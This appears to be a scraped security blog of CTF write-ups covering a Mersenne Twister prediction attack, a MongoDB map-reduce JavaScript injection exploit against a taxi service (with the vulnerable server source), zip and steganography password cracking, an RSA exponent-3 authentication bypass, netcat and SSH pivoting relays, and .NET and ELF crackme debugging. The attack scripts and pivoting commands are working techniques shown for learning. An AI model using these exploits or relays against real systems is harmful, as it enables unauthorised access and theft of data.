# cat blog >> /dev/brain 2> /proc/mind
cat blog >> /dev/brain 2> /proc/mind
# wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz # tar xvzf guess.tar.gz server.py # cat server.py #!/usr/bin/env python2 import socket import random import sys import os import signal flag ="foobar" signal.signal(signal.SIGCHLD, signal.SIG_IGN) s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("0.0.0.0", 8888)) s.listen(10) while 1: c, _ = s.accept() if c is None: sys.exit(1) if os.fork() == 0: del s break del c c.sendall("Welcome to this little guessing game!\n") r = random.Random() r.seed(os.urandom(16)) guess_limit = 10 guess_right = 0 data = "" while 1: answer = str(r.getrandbits(64)) c.sendall("You have %d/%d right guesses, whats your next guess? " % (guess_right, guess_limit)) while "\n" not in data: cur = c.recv(4096) if not cur: sys.exit(0) data += cur guess, data = data.split("\n", 1) if guess != answer: guess_right = 0 c.sendall("Nope, that was wrong, correct would have been %s...\n" % answer) continue guess_right += 1 if guess_right < guess_limit: c.sendall("Yes! That was correct, awesome...\n") continue c.sendall("You did it! The flag is: %s" % flag) sys.exit(0) # cat reverse.py L = 32 N = 624 M = 397 UM = 2**31 LM = UM - 1 def unBitshiftRightXor(value, shift, mask): i = 0 result = 0 shiftmask = 2**shift - 1 while (i * shift) < L: partmask = (shiftmask << (L - shift)) >> (shift * i) part = value & partmask value ^= (part >> shift) & mask result |= part i += 1 return result def BitshiftRightXor(value, shift, mask): pmask = (value >> shift) & mask result = value ^ pmask return result def unBitshiftLeftXor(value, shift, mask): i = 0 result = 0 shiftmask = 2**shift - 1 while (i * shift) < L: partmask = shiftmask << (shift * i) part = value & partmask value ^= (part << shift) & mask result |= part i += 1 return result def BitshiftLeftXor(value, shift, mask): pmask = (value << shift) & mask result = value ^ pmask return result def untransform(value): value = unBitshiftRightXor(value, 18, 0xffffffff) value = unBitshiftLeftXor(value, 15, 0xefc60000) value = unBitshiftLeftXor(value, 7, 0x9d2c5680) value = unBitshiftRightXor(value, 11, 0xffffffff) return value def MTwister(sv, ndx): ndx = ndx % N y = (sv[ndx] & UM) | (sv[(ndx + 1) % N] & LM) sv[ndx] = sv[(ndx + M) % N] ^ (y >> 1) if y & 0x1: sv[ndx] ^= 0x9908b0df rn = sv[ndx] rn = BitshiftRightXor(rn, 11, 0xffffffff) rn = BitshiftLeftXor(rn, 7, 0x9d2c5680) rn = BitshiftLeftXor(rn, 15, 0xefc60000) rn = BitshiftRightXor(rn, 18, 0xffffffff) return rn def getrandbits(sv, ndx, bits): bytes = ((bits - 1) / 32 + 1) * 4 mask = 0xff r = [] result = 0 for i in range(0, bytes, 4): random = MTwister(sv, ndx + (i / 4)) if bits < 32: random = random >> (32 - bits) r.append( random & mask) r.append((random >> 8) & mask) r.append((random >> 16) & mask) r.append((random >> 24) & mask) bits = bits - 32 j = 0 for b in r: result = (b << (8 * j)) | result j += 1 return result, (i / 4) + 1 # getstatebits works OK when bits % 32 == 0 def getstatebits(sv, value, bits): bytes = ((bits - 1) / 32 + 1) * 4 mask = 0xff r = [] for i in range(0, bytes, 4): if bits < 32: value = value << (32 - bits) j = 32 * (i/4) r.append((value >> j) & mask) r.append((value >> (j + 8)) & mask) r.append((value >> (j + 16)) & mask) r.append((value >> (j + 24)) & mask) bits = bits - 32 result = 0 j = 0 for b in r: result = (b << (8 * j)) | result j += 1 sv.append(untransform(result)) del r[:] return (i / 4) + 1 # cat guess.py #!/usr/bin/python import netlib import re import sys from reverse import * buffsize = 4096 max_retries = 2 pause = 0.5 timeout = 2 ip = sys.argv[1] port = sys.argv[2] proto = sys.argv[3] N = 624 L = 64 sc = netlib.sc(ip, port, proto) if sc.connect(max_retries, pause): data = sc.recv(buffsize, timeout) data = sc.recv(buffsize, timeout) i = 0 sv = [] while i < N: if sc.send("\n") == False: sys.exit() data = sc.recv(buffsize, timeout) answer = re.findall(r'[0-9]{5,}', data) for a in answer: r = getstatebits(sv, int(a), L) print i, a i += r data = sc.recv(buffsize, timeout) mt, r = getrandbits(sv, i, L) i += r while True: mt, r = getrandbits(sv, i, L) i += r print 'Sending = \'' + str(mt) + '\'' if sc.send(str(mt) + "\n") == False: sys.exit() data = sc.recv(buffsize, timeout) print data # python guess.py 88.198.89.194 8888 tcp ... You did it! The flag is: 30C3_b9b1579866cccd28b1918302382c9107
wget https://30c3ctf.aachen.ccc.de/static/guess.tar.gz
tar xvzf guess.tar.gz
cat server.py
cat reverse.py
cat guess.py
python guess.py 88.198.89.194 8888 tcp
# cat guess.py ... import random ... data = sc.recv(buffsize, timeout) sv.append(1337) r = random.Random() r.setstate((3, tuple(sv), None)) r.getrandbits(L) while True: n = r.getrandbits(L) print 'Sending = \'' + str(n) + '\'' if sc.send(str(n) + "\n") == False: sys.exit() data = sc.recv(buffsize, timeout) print data
# cat taxi.py ... def get_map_func(admin_name): map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }" return Code(map_f) def get_reduce_func(): reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}" return Code(reduce_f) def mr_test(col, admin_name): res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res") return list(res.find()) ...
cat taxi.py
# cat exploit.py #!/usr/bin/python import httplib import urllib import re import sys def taxi_exploit(ip, username): port = 8081 query= '/add_admin/?admin=' + username conn = httplib.HTTPConnection(ip, port) conn.request('POST', query) resp = conn.getresponse() hmac = resp.getheader('set-cookie') js_injection = urllib.quote_plus("' || true) emit(this.route, 1); if('") query= '/amount/?user=' + username + '&admin=' + js_injection headers = {"Cookie": hmac} conn.request('GET', query, '', headers) resp = conn.getresponse() data = resp.read() conn.close() flags = [] for flag in re.findall('[A-Za-z0-9=]{32}', data): flags.append(flag) for i in flags: print i ip = sys.argv[1] username = sys.argv[2] taxi_exploit(ip, username) # ./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`
cat exploit.py
./exploit.py 10.23.x.2 `head -c 4 /dev/urandom | xxd -p`
# cat taxi.py ... def mr_test(col, admin_name): #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res") res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res") return list(res.find()) ...
re.sub(r"'", "", admin_name)
# cat taxi.py #!/usr/bin/python import urlparse import os import random import string import hmac import hashlib import os.path import json import re from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from pymongo import collection from pymongo import Connection from datetime import datetime from bson.code import Code DBNAME = 'taxi' COLNAME = 'orders' USERS = 'users' KEY_FILE = 'key' def connect_db(dbname): c = Connection() return c[dbname] def generate_id(): abc = string.ascii_lowercase + string.digits res = ''.join(random.choice(abc) for i in range(4)) res += "-" res += ''.join(random.choice(abc) for i in range(4)) res += "-" res += ''.join(random.choice(abc) for i in range(4)) return res def add(amount, admin, user, route, col): generated_id = generate_id() return add_by_id(generated_id, amount, admin, user, route, col) def add_by_id(id, amount, admin, user, route, col): rid = col.insert( {"_id": id, "date": datetime.now(), "amount": amount, "admin": admin, "user": user, "route": route}) print rid return rid def get_by_id(id, col): found = col.find_one({"_id": id}) return dict(found) def get_map_func(admin_name): map_f = "function() { if (this.admin == '" + admin_name + "') emit(this.admin, this.amount); }" return Code(map_f) def get_reduce_func(): reduce_f = "function(key, values) {return Array.sum(values) / 1.1;}" return Code(reduce_f) def mr_test(col, admin_name): #res = col.map_reduce(get_map_func(admin_name), get_reduce_func(), "res") res = col.map_reduce(get_map_func(re.sub(r"'", "", admin_name)), get_reduce_func(), "res") return list(res.find()) def view_all(col, admin_name): res = col.find({"admin": admin_name}).sort("date") return list(res) def r_replace(s, old, new, occurrence): li = s.rsplit(old, occurrence) return new.join(li) def dict_to_str(dic): d = {} for i in dic: d[i] = str(dic[i]) return json.dumps(d) def try_create_user(query, db): try: p = urlparse.parse_qs(query) admin = p['admin'][0] user = p['user'][0] col = collection.Collection(db, USERS) admin_exists = col.find_one({"admin": admin}) if admin_exists is None: return "Admin does not exist", "" user_exists = col.find_one({"user": user}) if user_exists is not None: return "User already exists", "" id = col.insert({"admin": admin, "user": user}) if id: return "Success", user else: return "Can't create new user", "" except KeyError: return "You have to set [admin], [user] and [pswd] parameters in order to register new user", "" def try_create_admin(query, db): try: p = urlparse.parse_qs(query) admin = p['admin'][0] col = collection.Collection(db, USERS) admin_exists = col.find_one({"admin": admin}) if admin_exists is not None: return "Admin already exists", "" id = col.insert({"admin": admin, "user": admin}) if id: return "Success", admin else: return "Can't create new admin", "" except KeyError: return "You have to set [admin] parameter in order to register new admin", "" def get_hmac(message): try: key = file(KEY_FILE).read() return hmac.new(key, message, digestmod=hashlib.sha1).hexdigest() except: return None class MonHTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): try: parsed = urlparse.urlparse(self.path) action = os.path.split(parsed.path)[0] action = action.replace('/', '') print action p = urlparse.parse_qs(parsed.query) user = p['user'][0] db = connect_db(DBNAME) col = collection.Collection(db, COLNAME) if 'cookie' not in self.headers: print "no cookie sent" self.send_error(401) return print self.headers['cookie'] c = self.headers['cookie'] r = re.search("hm=([^;]+)", c) if not r: print "no hmac sent" self.send_error(401) return h_mac = r.group(1) if h_mac != get_hmac(user): self.send_error(401) return if action == 'route': if 'id' in p: r_id = p['id'][0] res = get_by_id(r_id, col) result_doc = dict_to_str(res) self.send_response(200) self.send_header('Content-type', 'text-html') self.end_headers() self.wfile.write(result_doc) return else: self.send_response(400) return elif action == 'routes': admin = p['admin'][0] result_doc = view_all(col, admin) elif action == 'amount': admin = p['admin'][0] result_doc = mr_test(col, admin) print result_doc else: self.send_response(405) return self.send_response(200) self.send_header('Content-type', 'text-html') self.end_headers() for doc in result_doc: self.wfile.write(json.dumps(doc)) self.wfile.write("\n") return except Exception as e: print str(e) self.send_error(404) def do_POST(self): try: parsed = urlparse.urlparse(self.path) action = os.path.split(parsed.path)[0] action = action.replace('/', '') print action db = connect_db(DBNAME) col = collection.Collection(db, COLNAME) if action == 'add_user': res, user = try_create_user(parsed.query, db) if res == "Success": self.send_response(200) self.send_header('Set-Cookie', 'hm=' + get_hmac(user)) self.end_headers() else: self.send_error(400) self.wfile.write(res) return elif action == 'add_admin': res, admin = try_create_admin(parsed.query, db) if res == "Success": self.send_response(200) self.send_header('Set-Cookie', 'hm=' + get_hmac(admin)) self.end_headers() else: self.send_error(400) self.wfile.write(res) return elif action == 'add_route': if 'cookie' not in self.headers: print "no cookie sent" self.send_error(401) return print self.headers['cookie'] c = self.headers['cookie'] r = re.search("hm=([^;]+)", c) if not r: print "no hmac sent" self.send_error(401) return h_mac = r.group(1) p = urlparse.parse_qs(parsed.query) user = p['user'][0] if h_mac != get_hmac(user): self.send_error(401) return try: amount = float(p['amount'][0]) except ValueError: self.send_response(400) return admin = p['admin'][0] route = p['route'][0] o_id = p.get('id', [""])[0] print "params: " + o_id + "; " + str(amount) if o_id == "": result = add(amount, admin, user, route, col) else: result = add_by_id(o_id, amount, admin, user, route, col) self.send_header('Content-type', 'text-html') self.end_headers() self.wfile.write(result) if result is not None: self.send_response(200) else: self.send_error(501) return else: self.send_error(405) return except Exception as e: print str(e) self.send_error(500) def gen_key_if_not_exists(): if os.path.isfile(KEY_FILE): return length = 256 chars = string.ascii_letters + string.digits + '!@#$%^&*()' random.seed = (os.urandom(1024)) key = ''.join(random.choice(chars) for i in range(length)) try: open(KEY_FILE, 'w').write(key) except: print "Can't create key file" return def run(): print 'taxi service is starting...' server_address = ('0.0.0.0', 8081) httpd = HTTPServer(server_address, MonHTTPRequestHandler) print 'Welcome to our taxi service!' print 'You can order trips, view your users\' routes and monitor your riding costs' print 'Please notice that we charge you extra 10% VAT according to our Ural state laws' gen_key_if_not_exists() httpd.serve_forever() if __name__ == '__main__': run()
# ./keygen 4 "{a..z}" | xargs -I {} steghide extract -sf stega4.wav -p {} wrote extracted data to "flag.zip". # fcrackzip -u -c aA1! -p aaaaa flag.zip PASSWORD FOUND!!!!: pw == 3L33t # unzip -P 3L33t flag.zip && cat flag.txt Archive: flag.zip inflating: flag.txt The Flag is {a57085396f9200c6d38ff66ffa1d3c71}
./keygen 4 "{a..z}" | xargs -I {} steghide extract -sf stega4.wav -p {}
fcrackzip -u -c aA1! -p aaaaa flag.zip
unzip -P 3L33t flag.zip && cat flag.txt
# cat grid.pub -----BEGIN PUBLIC KEY----- MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEA0pbD0fyDY0sVLMBlEN+g iGIHjY5KdCTKn722qjmOK6J7Y8r8JDpu01YXmroDjtjy0FAk1C2+ofdZIoVVqms3 8kuXnUOziSHuhK3fpPZbh560G5t7KDBIH6mQ3h0xiLaJpaZClL1QFE7OPFvIexnO nJoBQbU2R9hpUVRJ18XmgAwCfilNlD6tgp1Ewlou3cPvWP5S2YvfiBPzn0/kSgmP mx5vABDacygL8BqCSWW7tKRhSXtzAqarve6qOaAjW9JOcyrnmHQEyzahaFIUBpob OnMFQT1gBPZ/J9bdRUy+OGllYXzaua8/+wuCNAXOJYd43h2QRfl25ULNqyd5zZcE +hIJtVdoAy3Qdw4zOLqeeo+YPnBR/5rV3R8rFG20yHp3adnHocPyV2uo987vtP4U pt6URFyI8x2wvTpscjMHWdAQ8vq804OPnagXz0j0Rgw9+BvyD1StiaZHIlYUT0u4 PHG1ynG1solOx1O9jn9aBTTks/0jZGUy+Romgh3Wqfawivnc2Lry5hwCHwMz5NZ+ xoatZlyzd6NCyFcSROctIo4Qw5V0FIbFpx5RNjwNQ4cQvYcKHjmwTwQWiL+6MOWu GRKIOABJcAXGBnpPUQKAP6JFuORxqD5h1tOQhk1T2ef1FbwKJIwgsVAlGIJNkEq1 G+sEadzv1qowDAbkEFKTKT0CAQM= -----END PUBLIC KEY----- # openssl rsa -pubin -inform PEM -text -noout < grid.pub | grep '(' Public-Key: (4096 bit) Exponent: 3 (0x3) # ipython : import gmpy : message = 2**1024 : modulus = gmpy.mpz(2**4096) : cube_root = modulus.root(3)[0] : if message < cube_root: print "Go!" Go! # cat netlib.py import socket import time # Socket Client class sc: def __init__(self, host, port, layer4): self.host = host self.port = int(port) self.layer4 = layer4 def connect(self, max_retries, pause): if self.layer4 == "tcp": socket_type = socket.SOCK_STREAM elif self.layer4 == "udp": socket_type = socket.SOCK_DGRAM self.socket = socket.socket(socket.AF_INET, socket_type) retries = 0 while True: try: self.socket.connect((self.host, self.port)) return True except: retries += 1 if retries == max_retries: print "Unable to connect." return False time.sleep(pause) def send(self, data): try: count = self.socket.send(data) except: print "Unable to send data." return False if count == len(data): return True else: print "Unable to send all data." return False def recv(self, buffsize, timeout): data = None self.socket.settimeout(timeout) try: data = self.socket.recv(buffsize) except socket.timeout: print "Receive timeout" except: print "Unexpected exception while receiving" self.socket.settimeout(None) return data def close(self): self.socket.close() # cat smartgrid.py #!/usr/bin/python import gmpy import hashlib import netlib import sys import time buffsize = 4096 max_retries = 2 pause = 0.5 timeout = 2 ip = sys.argv[1] port = sys.argv[2] proto = sys.argv[3] def cube_root_attack(message): # if e = 3 and m < n**1/3 then c = m**3 m = gmpy.mpz(message) cube_root= m.root(3)[0] sha = hashlib.sha256() sha.update(str(cube_root)) return sha.hexdigest() sc = netlib.sc(ip, port, proto) if sc.connect(max_retries, pause): while True: data = sc.recv(buffsize, timeout) if data.endswith(">"): break if sc.send("help\r\n") == False: sys.exit() help = "" while True: data = sc.recv(buffsize, timeout) if data.endswith(">"): help += data[:-1] break else: help += data if help.find("readstatus") == -1: # Is admin mode active? if sc.send("admin\r\n") == False: sys.exit() data = sc.recv(buffsize, timeout) if data == None: sys.exit() challenge = data.split('=')[1] solution = cube_root_attack(int(challenge)) if sc.send("answer=" + solution + "\r\n") == False: sys.exit() while True: data = sc.recv(buffsize, timeout) if data.endswith(">"): break if sc.send("listconsumers" + "\r\n") == False: sys.exit() listconsumers = "" while True: data = sc.recv(buffsize, timeout) if data.endswith(">"): listconsumers += data[:-2] break else: listconsumers += data listconsumers = listconsumers[15:-2] listconsumers = listconsumers.replace("'","") uuids = listconsumers.split(", ") uuids.reverse() for i in range(30): if sc.send("readstatus " + uuids[i] + "\r\n") == False: sys.exit() result = "" while True: data = sc.recv(buffsize, timeout) if data.endswith(">"): result += data[:-2] break else: result += data pos = result.find("status=") status = result[pos+7:pos+23] pos = result.find("tstamp=") tstamp = result[pos+7:pos+17] if int(time.time()) - int(tstamp) < 15 * 60: # Last 15 minutes print status # Flag sc.close() # ./smartgrid.py 10.22.x.1 21721 tcp
cat grid.pub
openssl rsa -pubin -inform PEM -text -noout < grid.pub | grep '('
ipython
import gmpy
message = 2**1024
modulus = gmpy.mpz(2**4096)
cube_root = modulus.root(3)[0]
if message < cube_root:
print "Go!"
cat netlib.py
cat smartgrid.py
./smartgrid.py 10.22.x.1 21721 tcp
host1# ssh -R localhost:1337:localhost:1234 -f -N root@pivot host1# nc -l localhost 1234
ssh -R localhost:1337:localhost:1234 -f -N root@pivot
nc -l localhost 1234
host2# ssh -L localhost:1234:localhost:1337 -f -N root@pivot host2# nc localhost 1234
ssh -L localhost:1234:localhost:1337 -f -N root@pivot
nc localhost 1234
host2:r ---> host2:1234 --- pivot:1337 --- host1:1234 host2:r ---> host1:1234
pivot# mkfifo p pivot# nc -nvlp 1111 0<p | nc -nvlp 2222 1>p
mkfifo p
nc -nvlp 1111 0<p | nc -nvlp 2222 1>p
host1# nc -nvlp 1234 host1# mkfifo p host1# nc -nv pivot 1111 0<p | nc -nv localhost 1234 1>p
nc -nvlp 1234
nc -nv pivot 1111 0<p | nc -nv localhost 1234 1>p
host2# nc -nv pivot 2222
nc -nv pivot 2222
host2:r --> pivot:2222 --- pivot:1111 --- host1:1234 host2:r --> host1:1234
# file challenge.exe challenge.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
file challenge.exe
> * Load SOS and symbols > .loadby sos mscorwks; .symfix; .reload > * Show all threads > ~ 0 Id: 3180.39b0 Suspend: 1 Teb: 7ffdf000 Unfrozen 1 Id: 3180.30a8 Suspend: 1 Teb: 7ffde000 Unfrozen 2 Id: 3180.3ad8 Suspend: 1 Teb: 7ffdd000 Unfrozen 3 Id: 3180.3a6c Suspend: 1 Teb: 7ffdc000 Unfrozen . 4 Id: 3180.38e0 Suspend: 1 Teb: 7ffdb000 Unfrozen > * Show all managed threads > !threads ThreadCount: 2 UnstartedThread: 0 BackgroundThread: 1 PendingThread: 0 DeadThread: 0 Hosted Runtime: no PreEmptive GC Alloc Lock ID OSID ThreadOBJ State GC Context Domain Count APT Exception 0 1 39b0 0015b1b8 6020 Enabled 00000000:00000000 001653f8 0 STA 2 2 3ad8 0015ec68 b220 Enabled 00000000:00000000 001653f8 0 MTA (Finalizer) > * Switch to thread 0 (new current thread) > ~0s eax=03370088 ebx=013d8740 ecx=00001f40 edx=001a2c58 esi=01400ed0 edi=014322f4 eip=7c91e514 esp=0012ed8c ebp=0012ee20 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ntdll!KiFastSystemCallRet: 7c91e514 c3 ret > * View the stack > !clrstack OS Thread Id: 0x39b0 (0) ESP EIP 0012ed98 7c91e514 [InlinedCallFrame: 0012ed98] System.Windows.Forms.UnsafeNativeMethods.WaitMessage() 0012ed94 7b1d8e78 System.Windows.Forms.Application+ComponentManager.System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FPushMessageLoop(Int32, Int32, Int32) 0012ee30 7b1d8967 System.Windows.Forms.Application+ThreadContext.RunMessageLoopInner(Int32, System.Windows.Forms.ApplicationContext) 0012ee84 7b1d87b1 System.Windows.Forms.Application+ThreadContext.RunMessageLoop(Int32, System.Windows.Forms.ApplicationContext) 0012eeb4 7b195921 System.Windows.Forms.Application.Run(System.Windows.Forms.Form) 0012eec8 00de5498 (System.Windows.Forms.Form) 0012eecc 00de1eee StarwareCTF_DotNetChall.Program.Main() 0012f148 79e71b4c [CustomGCFrame: 0012f148] 0012f110 79e71b4c [GCFrame: 0012f110] 0012f12c 79e71b4c [GCFrame: 0012f12c] 0012f310 79e71b4c [HelperMethodFrame_1OBJ: 0012f310] System.RuntimeMethodHandle._InvokeMethodFast(System.Object, System.Object[], System.SignatureStruct ByRef, System.Reflection.MethodAttributes, System.RuntimeTypeHandle) 0012f380 792d5608 System.RuntimeMethodHandle.InvokeMethodFast(System.Object, System.Object[], System.Signature, System.Reflection.MethodAttributes, System.RuntimeTypeHandle) 0012f3d0 792d540f System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo, Boolean) 0012f40c 792d529e System.Reflection.RuntimeMethodInfo.Invoke(System.Object, System.Reflection.BindingFlags, System.Reflection.Binder, System.Object[], System.Globalization.CultureInfo) 0012f42c 00de0294 CompressShell.Main(System.String[]) > * Show objects on the heap (MT = MethodTable) > !dumpheap -type StarwareCTF_DotNetChall Address MT Size 013d7cf4 00a0732c 348 total 1 objects Statistics: MT Count TotalSize Class Name 00a0732c 1 348 StarwareCTF_DotNetChall.MainForm Total 1 objects 0012f688 79e71b4c [GCFrame: 0012f688] > * Show what methods the object exposes > !dumpmt -md 00a0732c EEClass: 00df38d8 Module: 00a03d94 Name: StarwareCTF_DotNetChall.MainForm mdToken: 02000009 (StarwareCTF_DotNetChall, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null) BaseSize: 0x15c ComponentSize: 0x0 Number of IFaces in IFaceMap: 15 Slots in VTable: 379 -------------------------------------- MethodDesc Table Entry MethodDesc JIT Name 7b176338 7afe8338 PreJIT System.Windows.Forms.Form.ToString() 79286ac0 79104968 PreJIT System.Object.Equals(System.Object) 79286b30 79104998 PreJIT System.Object.GetHashCode() 7a575e40 7a460c00 PreJIT System.ComponentModel.Component.Finalize() ... 7b7220b0 7afe83e0 PreJIT System.Windows.Forms.Form.OnResizeEnd(System.EventArgs) 00a0c320 00a072a0 JIT StarwareCTF_DotNetChall.MainForm..ctor() 00a0c744 00a072ac JIT StarwareCTF_DotNetChall.MainForm.checkButton_Click(System.Object, System.EventArgs) 00a0cc58 00a072b8 JIT StarwareCTF_DotNetChall.MainForm.ChangeAuthenticationMessage(System.String) 00a0d018 00a072c4 JIT StarwareCTF_DotNetChall.MainForm.ChangeAuthenticationMessageCallback(System.String) 00a0cc00 00a072d0 NONE StarwareCTF_DotNetChall.MainForm.OnAuthentication(StarwareCTF_DotNetChall.AuthenticationResult) 00a0c330 00a072e4 JIT StarwareCTF_DotNetChall.MainForm.InitializeComponent() > * Method disassemble > !U 00a072ac Normal JIT generated code StarwareCTF_DotNetChall.MainForm.checkButton_Click(System.Object, System.EventArgs) Begin 00de54b0, size 12a 00de54b0 55 push ebp 00de54b1 8bec mov ebp,esp 00de54b3 57 push edi 00de54b4 56 push esi 00de54b5 53 push ebx 00de54b6 50 push eax 00de54b7 8bf9 mov edi,ecx 00de54b9 b98814bf00 mov ecx,0BF1488h (MT: StarwareCTF_DotNetChall.KeyVerification) 00de54be e859cbc0ff call 009f201c (JitHelp: CORINFO_HELP_NEWSFAST) 00de54c3 8bf0 mov esi,eax 00de54c5 8bce mov ecx,esi 00de54c7 ff15c014bf00 call dword ptr ds:[0BF14C0h] (StarwareCTF_DotNetChall.KeyVerification..ctor(), mdToken: 0600002b) 00de54cd 8b8f44010000 mov ecx,dword ptr [edi+144h] 00de54d3 ff151815bf00 call dword ptr ds:[0BF1518h] ((System.Object), mdToken: 060000e8) 00de54d9 8bd8 mov ebx,eax 00de54db 8b8f48010000 mov ecx,dword ptr [edi+148h] 00de54e1 ff151815bf00 call dword ptr ds:[0BF1518h] ((System.Object), mdToken: 060000e8) 00de54e7 50 push eax 00de54e8 8bd3 mov edx,ebx 00de54ea 8bce mov ecx,esi 00de54ec ff156414bf00 call dword ptr ds:[0BF1464h] (StarwareCTF_DotNetChall.KeyVerification.CheckKey(System.String, System.String), mdToken: 06000029) ... > * Display one dword (4b) > dd 0BF1464h L1 00bf1464 00de5960 > * Method disassemble > !U 00de5960 Normal JIT generated code StarwareCTF_DotNetChall.KeyVerification.CheckKey(System.String, System.String) Begin 00de5960, size 39 >>> 00de5960 55 push ebp 00de5961 8bec mov ebp,esp 00de5963 57 push edi 00de5964 56 push esi 00de5965 50 push eax 00de5966 33c0 xor eax,eax 00de5968 8945f4 mov dword ptr [ebp-0Ch],eax 00de596b 8bf1 mov esi,ecx 00de596d 8bfa mov edi,edx 00de596f 8b4d08 mov ecx,dword ptr [ebp+8] 00de5972 ff15242bbf00 call dword ptr ds:[0BF2B24h] ((System.Object), mdToken: 060000d8) 00de5978 8bc8 mov ecx,eax 00de597a 8bd7 mov edx,edi 00de597c 894df4 mov dword ptr [ebp-0Ch],ecx 00de597f 8bce mov ecx,esi 00de5981 ff157014bf00 call dword ptr ds:[0BF1470h] (StarwareCTF_DotNetChall.KeyVerification.GenerateKeyFromUsername(System.String), mdToken: 0600002a) 00de5987 8bd0 mov edx,eax 00de5989 8b4df4 mov ecx,dword ptr [ebp-0Ch] 00de598c ff15042cbf00 call dword ptr ds:[0BF2C04h] ((System.String, System.String), mdToken: 060000dc) 00de5992 59 pop ecx 00de5993 5e pop esi 00de5994 5f pop edi 00de5995 5d pop ebp 00de5996 c20400 ret 4 > * Set breakpoint at address > bp 00de5987 > * Go > g
* Load SOS and symbols
.loadby sos mscorwks; .symfix; .reload
* Show all threads
~
* Show all managed threads
!threads
* Switch to thread 0 (new current thread)
~0s
* View the stack
!clrstack
* Show objects on the heap (MT = MethodTable)
!dumpheap -type StarwareCTF_DotNetChall
* Show what methods the object exposes
!dumpmt -md 00a0732c
* Method disassemble
!U 00a072ac
* Display one dword (4b)
dd 0BF1464h L1
!U 00de5960
* Set breakpoint at address
bp 00de5987
* Go
g
> * Display Unicode chars > du eax+c 014d1b00 "0C81B9E71D6397203F2B7C73233FC5A4" 014d1b40 "D9C6450D8037BB12BE9415B950AC3E52" 014d1b80 "1EA1B1C42B4ACD482C83FFBBA8212BE2" 014d1bc0 "28A71FE544E463B59C344F1A41A55262" > * Clear all breakpoints > bc * > * Go > g
* Display Unicode chars
du eax+c
* Clear all breakpoints
bc *
# gunzip howtobasic.gz # file howtobasic howtobasic: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.26, BuildID[sha1]=0x1a8f284f3d67ad66c7510bc5353556e8a01db18b, stripped # chmod +x howtobasic # gdb --quiet ./howtobasic (gdb) set disassembly-flavor intel (gdb) info file Entry point: 0x80481c0 (gdb) run Starting program: /root/ctf/howtobasic Facebook CTF Enter flag: ^C Program received signal SIGINT, Interrupt. 0xf7ffd430 in __kernel_vsyscall () (gdb) finish 1234567890 0x080577a2 in ?? () (gdb) finish 0x0806d9a6 in ?? () (gdb) finish 0x08049b26 in ?? () (gdb) finish 0x0804932d in ?? () (gdb) finish 0x08049435 in ?? () (gdb) finish 0x0804906b in ?? () (gdb) finish 0x080483b6 in ?? () (gdb) finish Sorry, that is not correct. (gdb) b *0x080483b6 (gdb) run Starting program: /root/ctf/howtobasic Facebook CTF Enter flag: 1234567890 (gdb) x/2i 0x080483b6 => 0x80483b6: test eax,eax 0x80483b8: jne 0x80483f5 (gdb) x/s $eax 0x80d5298: "1234567890\n" (gdb) b *0x80483f5 (gdb) continue (gdb) x/3i 0x080483f5 => 0x80483f5: push eax 0x80483f6: xor eax,eax 0x80483f8: je 0x80483fd (gdb) b *0x80483fd (gdb) continue (gdb) x/2i 0x080483fd => 0x80483fd: pop eax 0x80483fe: jmp 0x8048486 (gdb) b *0x8048486 (gdb) continue (gdb) x/4i 0x08048486 => 0x8048486: mov eax,DWORD PTR [esp+0x14] 0x804848a: sub eax,0x2 0x804848d: cmp eax,DWORD PTR [esp+0x1c] 0x8048491: ja 0x8048403 (gdb) x/xw $esp+0x14 0xffffd604: 0x00000042 (gdb) x/xw $esp+0x1c 0xffffd60c: 0x00000000 (gdb) b *0x8048403 (gdb) continue (gdb) x/20i 0x08048403 => 0x8048403: mov eax,DWORD PTR [esp+0x1c] // eax = 0x0 0x8048407: and eax,0x7 // eax = 0x0 0x804840a: movzx eax,BYTE PTR [eax+0x80d108c] // eax = 0x4d [0x80d108c] = "MOVEFAST" 0x8048411: not eax // eax = 0xffffffb2 0x8048413: mov BYTE PTR [esp+0x1b],al // [esp+0x1b] = 0x000000b2 0x8048417: mov eax,DWORD PTR [esp+0x1c] // eax = 0x0 0x804841b: mov edx,DWORD PTR [esp+0x10] // edx = 0x080d5298 [0x080d5298] = "1234567890\n" 0x804841f: add eax,edx // eax = 0x080d5298 0x8048421: movzx eax,BYTE PTR [eax] // eax = 0x31 0x8048424: not eax // eax = 0xffffffce 0x8048426: mov BYTE PTR [esp+0x1a],al // [esp+0x1a] = 0x0000b2ce 0x804842a: mov edx,DWORD PTR ds:0x80d1088 // edx = 0x80b21e8 [0x80b21e8] = "{\177gtsyjg,xorut21.zb \"t65t~0'\"#5d,-g|t$f1(.dq\177te2.}o##%`lyy`$ x2f" 0x8048430: mov eax,DWORD PTR [esp+0x1c] // eax = 0x0 0x8048434: add eax,edx // eax = 0x80b21e8 0x8048436: movzx edx,BYTE PTR [eax] // edx = 0x7b 0x8048439: movzx eax,BYTE PTR [esp+0x1a] // eax = 0xce 0x804843e: movzx ecx,BYTE PTR [esp+0x1b] // ecx = 0xb2 0x8048443: xor eax,ecx // eax = 0x7c 0x8048445: cmp dl,al // dl != al 0x8048447: je 0x8048481 (gdb) x/5i 0x8048481 0x8048481: add DWORD PTR [esp+0x1c],0x1 0x8048486: mov eax,DWORD PTR [esp+0x14] 0x804848a: sub eax,0x2 0x804848d: cmp eax,DWORD PTR [esp+0x1c] 